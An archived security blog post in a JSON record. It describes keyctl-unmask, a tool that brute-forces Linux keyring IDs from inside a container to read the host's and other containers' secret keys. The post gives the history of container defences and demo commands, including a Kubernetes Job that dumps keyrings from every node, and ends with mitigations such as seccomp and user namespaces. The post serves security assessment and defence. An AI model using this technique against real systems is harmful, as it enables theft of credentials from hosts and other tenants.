{
	"id": "3c684e1c-d496-455a-b059-141640d142c3",
	"created_at": "2026-04-06T00:21:09.90269Z",
	"updated_at": "2026-04-10T03:22:10.910459Z",
	"deleted_at": null,
	"sha1_hash": "3e01e013ca7554a311ff090d849886db1de29cd9",
	"title": "\"Going Florida\" on The State Of Containerizing Linux Keyrings",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 84537,
	"plain_text": "\"Going Florida\" on The State Of Containerizing Linux Keyrings\r\nArchived: 2026-04-02 10:52:06 UTC\r\nTL;DR\r\nThe Linux Kernel keyring is known to be a security issue for containers\r\nDownload my tool for breaking out of a container to steal all the host keys here: keyctl-unmask\r\nWe can use this in Kubernetes to steal all node keys as well\r\nHave you ever wanted to steal all the secrets from a Linux host from within a container? Sure we all have. Lets do\r\nit at scale and share a tool that speeds this up during security assessments.\r\nContainer security folks (David Howells) have known that the Keyctl syscall executed from within containers\r\nis problematic because there is no inherent way to isolate the Linux Kernel’s keyrings and keys which are\r\ndesigned to be used to store sensitive content. This means that container runtimes have to bolt on defenses to try\r\nand prevent the keys from being leaked into a container.\r\nYou may find it surising how often Linux Kernel Keyrings are. (At least I was.) For example Kerberos often uses\r\nthis extensively, products from companies like Cyberark rely on the security of these keyrings, and even Systemd\r\nuses it.\r\nThe tool I’m sharing keyctl-unmask will show you how to expose these keys even from within a container.\r\nKeyctl and Containers\r\nThe keyctl(2) syscall is an API for users to interact with Linux kernel keyrings. These keyrings are designed to\r\nstore sensitive information per user, session, thread, or process. Along with the syscall interface, there is a procfs\r\nmount on most systems under /proc/keys that provides a list of all the keys your accounts has permission to\r\nview.\r\nFor containers, this was deemed a security risk (and you might agree) because you don’t want your containers to\r\nbe able to access the private keys of the host or other containers.\r\nOne part of the original fix for this was to simply “mask” /proc/keys so that cat /proc/keys wouldn’t return\r\nany results.\r\nKeyctl-unmask shows what happens when you allow any container the ability to issue keyctl syscalls.\r\nContainer Keyctl Security History\r\nI believe that the history of the containers trying to protect itself from syscalls goes like this:\r\n1. Docker initially didn’t block keyctl syscalls or protect /proc/keys at all so any user could list the host’s\r\nkeys\r\nhttps://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/\r\nPage 1 of 5\n\n2. In 2014, someone finds a memory corruption bug in the Linux Kernel using the keyctl syscall\r\n3. Jesse Frazelle addresses this issue by adding keyctl to the list of syscalls blocked by Docker’s default\r\nseccomp profile. This is successful and we should still use it today!\r\n4. Around this time it appears that Docker also realizes they should protect the host keys so they mask over\r\n/proc/keys so that if you were to cat /proc/keys you wouldn’t see any results\r\n5. In 2016, stefanberger starts an Epic Discussion that results in runc creating a new session key per\r\ncontainer. Cool! That sounds like a security move except it has no impact in reality:\r\n“With the patch, each container gets its own session keyring. However, it does work better with\r\nuser namespaces enabled than without it. With user namespaces each container has its own\r\nsession keyring _ses and a ‘docker exec’ joins this session keyring. Without user namespaces\r\nenabled, each container also gets a session keyring on ‘docker run’ but a ‘docker exec’\r\nagain joins the first created session keyring so that containers share it. The advantage still is\r\nthat it’s not a keyring shared with the host, even though in the case that user namespaces are not\r\nenabled, the containers end up sharing a session keyring upon ‘docker exec.’”\r\n6. In a patch appears to have been added that allows you to do Keys Namespaces but containers have yet to\r\nleverage it.\r\n7. Just a few days ago, a proposal is in progress for Linux kernel support for keyctl within containers. This is\r\na pretty exciting read.\r\nSo as of today, your container runtime will likely create it’s own session keyring per container and the\r\n/proc/keys path will be masked. I’ll try to explain why this doesn’t do much to secure the keyrings. But also\r\nnote that seccomp being enabled or user namespace being enabled successfully mitigates this threat.\r\nBuilt In Defense\r\nFirst, let me summarize how keyrings are protected on a host:\r\nA keyring stores a group of keys. Keys are what store the private information\r\nEach keyring/key has a permission set on it that applies to the “possesser”, the UID, and the GID.\r\n“Possessing” the key means that the keyring is “linked” to your session keyring.\r\nEven if you are root, if you don’t “possess” the key, you can’t read it.\r\nBut the root user can always possess a keyring\r\nBut you need to know the keyring ID in order to try and link it\r\nIn short, the Keyctl API is smoke and mirrors. If you have root, in a container*, you can access any key on the\r\nhost with some extra steps.\r\nNext, let me show you how you can automate those extra steps:\r\nKeyctl-unmask Docker Demo\r\nThis will demonstrate how you can brute force all the keys of a host and take over every keyring. keyctl-unmask\r\ndoes the following to unmask all the keys on the host:\r\nhttps://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/\r\nPage 2 of 5\n\nbrute forcing an int32 to guess the keyring ID’s\r\nasking the Linux kernel for information about the keyring (describe_keyid)\r\nif they’re found try to “Possess” them and subsequently read the keys of other containers (link)\r\n… and even worse, the host\r\nTo demo this, in one container (we’ll call secret-server), create a new key representing a secret stored by a\r\ncontainer:\r\ndocker run --name secret-server -it --security-opt \\\r\n seccomp=unconfined antitree/keyctl-unmask /bin/bash\r\n\u003e keyctl add user antitrees_secret thetruthisiliketrees @s\r\n911117332\r\n\u003e keyctl show\r\nSession Keyring\r\n 899321446 --alswrv 0 0 keyring: _ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852\r\n 911117332 --alswrv 0 0 \\_ user: antitrees_secret\r\nroot@keyctl-attacker:/# keyctl-unmask -min 0 -max 999999999\r\n10 / 10 [----------------------------------------------------------------------------] 100.00% ? p/s 0s\r\nOutput saved to: ./keyctl_ids\r\nroot@keyctl-attacker:/# cat keyctl_ids\r\n{\r\n \"KeyId\": 899321446,\r\n \"Valid\": true,\r\n \"Name\": \"_ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852\",\r\n \"Type\": \"keyring\",\r\n \"Uid\": \"0\",\r\n \"Gid\": \"0\",\r\n \"Perms\": \"3f1b0000\",\r\n \"String_Content\": \"\\u0014\\ufffdN6\",\r\n \"Byte_Content\": \"FIxONg==\",\r\n \"Comments\": null,\r\n \"Subkeys\": [\r\n {\r\n \"KeyId\": 911117332,\r\n \"Valid\": true,\r\n \"Name\": \"antitrees_secret\",\r\n \"Type\": \"user\",\r\n \"Uid\": \"0\",\r\n \"Gid\": \"0\",\r\n \"Perms\": \"3f010000\",\r\n \"String_Content\": \"thetruthisiliketrees\",\r\n \"Byte_Content\": \"dGhldHJ1dGhpc2lsaWtldHJlZXM=\",\r\nhttps://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/\r\nPage 3 of 5\n\n\"Comments\": null,\r\n \"Subkeys\": null\r\n }\r\n ]\r\nKubernetes Demo\r\nWhat’s a container tool without an ability to run in Kubernetes. This shows how to use a Kubernetes Job to run\r\nthis tool on every single Node in a cluster, mount a persistent volume claim, and dump all the keyrings for each\r\nnode onto it. Then you can simple jump into the Pod and read the results:\r\nkeyctl apply -f https://github.com/antitree/keyctl-unmask/examples/k8s/keyctl-unmask-job.yaml\r\nkubectl exec -it -n test keyctl-unmask-debug-pod -- /bin/bash\r\n\u003e cat /keyctl-output/$NODE_NAME\r\n{\r\n \"KeyId\": 899321446,\r\n \"Valid\": true,\r\n \"Name\": \"_ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852\",\r\n \"Type\": \"keyring\",\r\n...\r\nDefense and Conclusions\r\nAs I’ve noticed in my other long posts, there’s an inverse relationship between people that will @ me on Twitter\r\nand people that have read my entire post but I’ll try to explain the caveats clearly.\r\n1. Seccomp is a valid defense: Docker’s defaults seccomp profile disables keyctl syscalls completely making\r\nit an effective defense. My counter argument is that there is still a lot of things that run containers without\r\nit enabled and this is not a Docker specific issue. But of course, as of writing this, Kubernetes still does not\r\nsupport seccomp by default so IMHO, a security control that can be disabled, can’t be relied on.\r\n2. User namespacing is also a valid defense: This creates a seprate namespace for your UID from within a\r\ncontainer and maps it to a different ID on the host. The counter argument is of course, the popular container\r\nprojects, Docker, Kubernetes, do not use this and enabling it breaks so many other things. There’s also an\r\nedge case here where if your user namespace remapping was misconfigured, it would allow a container to\r\nobtain the persistent keys of another user by accident. The whole thing just isn’t going to work at scale.\r\n3. The future of containerized keyrings is bright: The root cause here is that keyctl syscalls are not\r\nnamespaced. New work is aiming to fix that and even newer work (as of a few days ago) is working to\r\nfinalize a true container-aware keyctl API that would even let a container create assign a key into the\r\ncontainer during init. This is a pretty exciting fix and David Howells should get much of the credit.\r\nHere are some other projects that seem to be using keyctl syscalls (but don’t hate on them, IDK if they need to run\r\nin containers but I know they shouldn’t be):\r\nhttps://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/\r\nPage 4 of 5\n\nazcopy for Azure\r\nThis container image processing library\r\nsystemd unit files\r\ntrezord\r\nneo4j\r\nkerberos\r\ncyberark\r\nsssd-common\r\nnfs-common\r\nceph-common\r\nlibecryptfs1\r\necryptfs-utils\r\ncifs-utils\r\nGoogle fscryptctl\r\nFurther Reading\r\nKeyctl-Unmask\r\nBlog About this Issue in 2014\r\nOverview and Recent Developers of Keyrings Subsystem\r\nIndepth discussion on keys and how Posession works and is important\r\nkeyctl(2) Syscall Man Page\r\nkeyctl from keyutils usage page\r\nLinux Kernel Keys and Keyrings Documentation\r\nExample using keyctl to access keysa\r\nIBM Blog covers syscalls used by keyctl\r\nLinux Kernel Trusted and Encrypted Docs\r\nSource: https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/\r\nhttps://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/\r\nPage 5 of 5",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/"
	],
	"report_names": [
		"keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings"
	],
	"threat_actors": [],
	"ts_created_at": 1775434869,
	"ts_updated_at": 1775791330,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3e01e013ca7554a311ff090d849886db1de29cd9.pdf",
		"text": "https://archive.orkl.eu/3e01e013ca7554a311ff090d849886db1de29cd9.txt",
		"img": "https://archive.orkl.eu/3e01e013ca7554a311ff090d849886db1de29cd9.jpg"
	}
}